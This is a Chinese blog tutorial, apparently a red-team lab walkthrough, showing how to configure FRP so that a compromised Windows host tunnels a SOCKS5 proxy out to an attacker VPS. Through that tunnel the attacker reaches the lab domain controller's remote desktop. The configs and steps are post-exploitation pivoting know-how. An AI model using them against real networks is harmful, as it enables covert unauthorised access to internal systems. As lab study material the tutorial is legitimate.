MENU

代理及转发之FRP

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

介绍及环境

frp是一个高性能的反向代理应用,可以使目标对外开放端口,支持

  • tcp
  • http
  • https

等协议类型,并且web服务支持根据域名进行路由转发,从而在红队行动时实现内网穿透

frp作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易

本篇文章在《ATT&CK 实战 - 红日安全 vulnstack (一)》文章使用到的环境基础上实现

网络配置示意图如下所示:

  • 已知win7作为边界机,已突破拿到shell
  • 域控主机已开启允许远程访问

这里已经提前上线cs,其实cs可以直接一键开启socks隧道但是不在本文范围之内

通过cs查看目标主机win7ip有两个内网网段

FRP代理进入内网

首先需要明确代理流程

  • 需要是攻击机笔记本的程序能够使用代理进行访问该域环境内网

首先从GitHub下载对应版本的FRP代理程序

打开可以看到FRP针对每种操作系统都有对应版本的程序:

windows64版本为例,包含文件有如下:

  • systemd
  • frpc.exe
  • frpc.ini
  • frpc_full.ini
  • frps.exe
  • frps.ini
  • frps_full.ini
  • LICENSE

可以看出同一操作系统,官方默认提供server端和cilent

在攻击机,也就是拥有公网ipvps先配置frps.ini

默认配置文件是这样的:

[common]
server_addr = 127.0.0.1
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

此处暂时先以最基础的配置介绍:

[common]
bind_port = 7000
token = 145678

其实最基础的只需前两行,但是建议习惯加上token哈,然后开启服务器:

frps -c frpc.ini

此时目标机需要配置连接我们的vps之外,还需配置socks5隧道才能让我们进入目标环境的内网,最简单的配置应该如下:

[common]
server_addr = x.x.x.x
server_port = 7000
token = 145678

[socks1]
type = tcp
remote_port = 6666
plugin = socks5
plugin_user = admin
plugin_passwd = passwd

启动客户端frp

此时vps收到连接:

这时候我们笔记本攻击机就可以挂着socks5:VPS-IP:6666来访问边界区可以访问的目标了

结束frp时可以使用ps -aux|grep frp命令列出frp进程信息,然后再用kill命令结束掉frp进程

本地访问可以用Proxifier,将需要使用的工具设置为走该代理

proxifier进行代理

添加我们的服务器如下:

将远程桌面工具mstsc.exe添加规则:

此时在我们本地使用远程工具mstsc直接连接内网的域控主机192.168.52.138

已经可以成功访问到目标主机内网的域控远程桌面

在连接的时候可以看到proxifier打印出了日志,显示通过代理开始连接

要使用其他工具对内网进行扫描也是一样的,只需要在proxifier中将使用到的程序配置规则即可

frp优化

敬请期待更新

参考文章: